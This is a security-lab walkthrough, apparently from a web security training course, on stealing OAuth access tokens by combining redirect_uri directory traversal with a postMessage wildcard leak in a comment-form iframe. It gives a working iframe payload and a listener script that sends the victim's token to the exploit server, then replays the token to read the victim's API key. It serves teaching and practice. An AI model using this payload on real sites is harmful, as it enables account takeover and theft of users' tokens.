Stealing OAuth access tokens via a proxy page
Description
This lab uses an OAuth
service to allow users to log in with their social media account. Flawed validation by the OAuth
service makes it possible for an attacker to leak access tokens to arbitrary pages on the client application.
Reproduction and proof of concept
Log in with
wiener:peter
. Study theOAuth
flow while proxying traffic through Burp. Using the same method as in the previous lab, identify that theredirect_uri
is vulnerable to directory traversal. This enables you to redirect access tokens to arbitrary pages on the blog website.
Using Burp, audit the other pages on the blog website. Observe that the comment form is included as an
iframe
on each blog post.
Look closer at the /post/comment/comment-form
page in Burp:
<script>
parent.postMessage({type: 'onload', data: window.location.href}, '*')
function submitForm(form, ev) {
ev.preventDefault();
const formData = new FormData(document.getElementById("comment-form"));
const hashParams = new URLSearchParams(window.location.hash.substr(1));
const o = {};
formData.forEach((v, k) => o[k] = v);
hashParams.forEach((v, k) => o[k] = v);
parent.postMessage({type: 'oncomment', content: o}, '*');
form.reset();
}
</script>
It uses the postMessage()
method to send the window.location.href
property to its parent window. Crucially, it allows messages to be posted to any origin (*
).
From the proxy history, right-click on the
GET /auth?client_id=[...]
request and select Copy URL.
https://oauth-0a96005b04ff5f0ac04f571402a3005d.oauth-server.net/auth?client_id=i1venwl6rtpdzcwkm9or8&redirect_uri=https://0a1b0095040d5f81c0cc594500a900a1.web-security-academy.net/oauth-callback&response_type=token&nonce=1976758516&scope=openid%20profile%20email
Go to the exploit server and create an iframe in which the
src
attribute is the URL you just copied. Use directory traversal to change theredirect_uri
so that it points to the comment form. The result should look something like this:
<iframe src="https://oauth-0a96005b04ff5f0ac04f571402a3005d.oauth-server.net/auth?client_id=i1venwl6rtpdzcwkm9or8&redirect_uri=https://0a1b0095040d5f81c0cc594500a900a1.web-security-academy.net/oauth-callback/post/comment/comment-form&response_type=token&nonce=1976758516&scope=openid%20profile%20email"></iframe>
Below this, add a suitable script that will listen for web messages and output the contents somewhere. For example, you can use the following script to reveal the web message in the exploit server’s access log:
<script>
window.addEventListener('message', function(e) {
fetch("/" + encodeURIComponent(e.data.data))
}, false)
</script>
To check the exploit is working, store it and then click View exploit. Make sure that the
iframe
loads then go to the exploit server’s access log. There should be a request for which the path is the full URL of the comment form, along with a fragment containing the access token.Go back to the exploit server and deliver this exploit to the victim. Copy their access token from the log. Make sure you don’t accidentally include any of the surrounding URL-encoded characters.
Send the
GET /me
request to Burp Repeater. In Repeater, replace the token in theAuthorization: Bearer
header with the one you just copied and send the request. Observe that you have successfully made an API call to fetch the victim’s data, including their API key.
Use the Submit solution button at the top of the lab page to submit the stolen key and solve the lab.
Exploitability
An attacker will need to log in; and then identify a secondary vulnerability in the client application and use this as a proxy to steal an access token for the admin user’s account; use the access token to obtain the admin’s API key and submit the solution using the button provided in the lab banner.
The admin user will open anything you send from the exploit server, and they always have an active session with the OAuth
service.